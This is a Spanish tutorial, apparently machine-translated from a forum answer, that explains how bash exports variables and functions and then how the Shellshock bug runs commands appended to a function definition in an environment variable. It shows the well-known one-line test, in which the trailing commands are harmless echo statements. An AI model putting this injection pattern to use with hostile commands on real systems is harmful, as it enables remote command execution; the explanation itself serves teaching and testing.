Escribí esto como una refundición estilo tutorial de la excelente respuesta de Chris Down arriba.
En bash puedes tener variables de shell como esta
$ t="hi there"
$ echo $t
hi there
$
Por defecto, estas variables no son heredadas por los procesos secundarios.
$ bash
$ echo $t
$ exit
Pero si los marca para exportar, bash establecerá un indicador que significa que irán al entorno de subprocesos (aunque el envp
parámetro no se ve mucho, main
en su programa C tiene tres parámetros: main(int argc, char *argv[], char *envp[])
donde esa última matriz de punteros es una matriz de variables de shell con sus definiciones).
Entonces, exportemos de la t
siguiente manera:
$ echo $t
hi there
$ export t
$ bash
$ echo $t
hi there
$ exit
Mientras que lo anterior t
no estaba definido en la subshell, ahora aparece después de que lo exportamos (úselo export -n t
si desea dejar de exportarlo).
Pero las funciones en bash son un animal diferente. Los declaras así:
$ fn() { echo "test"; }
Y ahora puede invocar la función llamándola como si fuera otro comando de shell:
$ fn
test
$
Una vez más, si genera una subshell, nuestra función no se exporta:
$ bash
$ fn
fn: command not found
$ exit
Podemos exportar una función con export -f
:
$ export -f fn
$ bash
$ fn
test
$ exit
Aquí está la parte difícil: una función exportada como fn
se convierte en una variable de entorno al igual que nuestra exportación de la variable de shell t
estaba arriba. Esto no sucede cuando fn
era una variable local, pero después de la exportación podemos verlo como una variable de shell. Sin embargo, puede también tener un (es decir, no la función) variable de regular de cáscara con el mismo nombre. bash distingue en función del contenido de la variable:
$ echo $fn
$ # See, nothing was there
$ export fn=regular
$ echo $fn
regular
$
Ahora podemos usar env
para mostrar todas las variables de shell marcados para la exportación y tanto la regularidad fn
y la función fn
aparece:
$ env
.
.
.
fn=regular
fn=() { echo "test"
}
$
Un sub-shell ingiere ambas definiciones: una como variable regular y otra como función:
$ bash
$ echo $fn
regular
$ fn
test
$ exit
Puede definir fn
como lo hicimos anteriormente, o directamente como una asignación de variable regular:
$ fn='() { echo "direct" ; }'
Tenga en cuenta que esto es algo muy inusual. Normalmente definiríamos la función fn
como hicimos anteriormente con la fn() {...}
sintaxis. Pero como bash lo exporta a través del medio ambiente, podemos "atajar" directamente a la definición regular anterior. Tenga en cuenta que (en contra de su intuición, tal vez) esto no da como resultado una nueva función fn
disponible en el shell actual. Pero si genera un shell ** sub **, entonces lo hará.
Cancelemos la exportación de la función fn
y dejemos el nuevo regular fn
(como se muestra arriba) intacto.
$ export -nf fn
Ahora la función fn
ya no se exporta, pero la variable regular sí fn
, y la contiene () { echo "direct" ; }
.
Ahora, cuando una subshell ve una variable regular que comienza con ()
ella, interpreta el resto como una definición de función. Pero esto es solo cuando comienza un nuevo shell. Como vimos anteriormente, solo definir una variable de shell regular que comience ()
no hace que se comporte como una función. Tienes que iniciar una subshell.
Y ahora el error "shellshock":
Como acabamos de ver, cuando un nuevo shell ingiere la definición de una variable regular que comienza con ()
él, lo interpreta como una función. Sin embargo, si se da más después de la llave de cierre que define la función, también se ejecuta lo que esté allí.
Estos son los requisitos, una vez más:
- Nueva fiesta se genera
- Se ingiere una variable de entorno
- Esta variable de entorno comienza con "()" y luego contiene un cuerpo de función dentro de llaves, y luego tiene comandos después
En este caso, un bash vulnerable ejecutará los últimos comandos.
Ejemplo:
$ export ex='() { echo "function ex" ; }; echo "this is bad"; '
$ bash
this is bad
$ ex
function ex
$
La variable exportada regular ex
se pasó al subshell, que se interpretó como una función, ex
pero los comandos finales se ejecutaron ( this is bad
) a medida que se generaba el subshell.
Explicando la elegante prueba de una línea
Una frase popular para probar la vulnerabilidad Shellshock es la que se cita en la pregunta de @ jippie:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Aquí hay un desglose: primero, :
in bash es solo una abreviatura de true
. true
y :
ambos evalúan a (lo adivinaste) verdadero, en bash:
$ if true; then echo yes; fi
yes
$ if :; then echo yes; fi
yes
$
En segundo lugar, el env
comando (también integrado en bash) imprime las variables de entorno (como vimos anteriormente), pero también se puede usar para ejecutar un solo comando con una variable (o variables) exportada dada a ese comando, y bash -c
ejecuta un solo comando desde su línea de comando:
$ bash -c 'echo hi'
hi
$ bash -c 'echo $t'
$ env t=exported bash -c 'echo $t'
exported
$
Entonces, al coser todo esto, podemos ejecutar bash como un comando, darle algo ficticio para hacer (como bash -c echo this is a test
) y exportar una variable que comience con ()
el subshell para interpretarlo como una función. Si shellshock está presente, también ejecutará inmediatamente los comandos finales en la subshell. Dado que la función que pasamos es irrelevante para nosotros (¡pero debe analizarse!) Usamos la función válida más corta imaginable:
$ f() { :;}
$ f
$
La función f
aquí solo ejecuta el :
comando, que devuelve verdadero y sale. Ahora agregue a eso algún comando "malvado" y exporte una variable regular a una subshell y usted gana. Aquí está el one-liner nuevamente:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Por x
lo tanto, se exporta como una variable regular con una función válida simple con echo vulnerable
tachuelas al final. Esto se pasa a bash, y bash interpreta x
como una función (que no nos importa) y luego quizás ejecute echo vulnerable
if shellshock.
Podríamos acortar un poco la línea eliminando el this is a test
mensaje:
$ env x='() { :;}; echo vulnerable' bash -c :
Esto no molesta this is a test
pero ejecuta el :
comando silencioso una vez más. (Si deja de lado, -c :
entonces se sienta en la subshell y tiene que salir manualmente.) Quizás la versión más fácil de usar sería esta:
$ env x='() { :;}; echo vulnerable' bash -c "echo If you see the word vulnerable above, you are vulnerable to shellshock"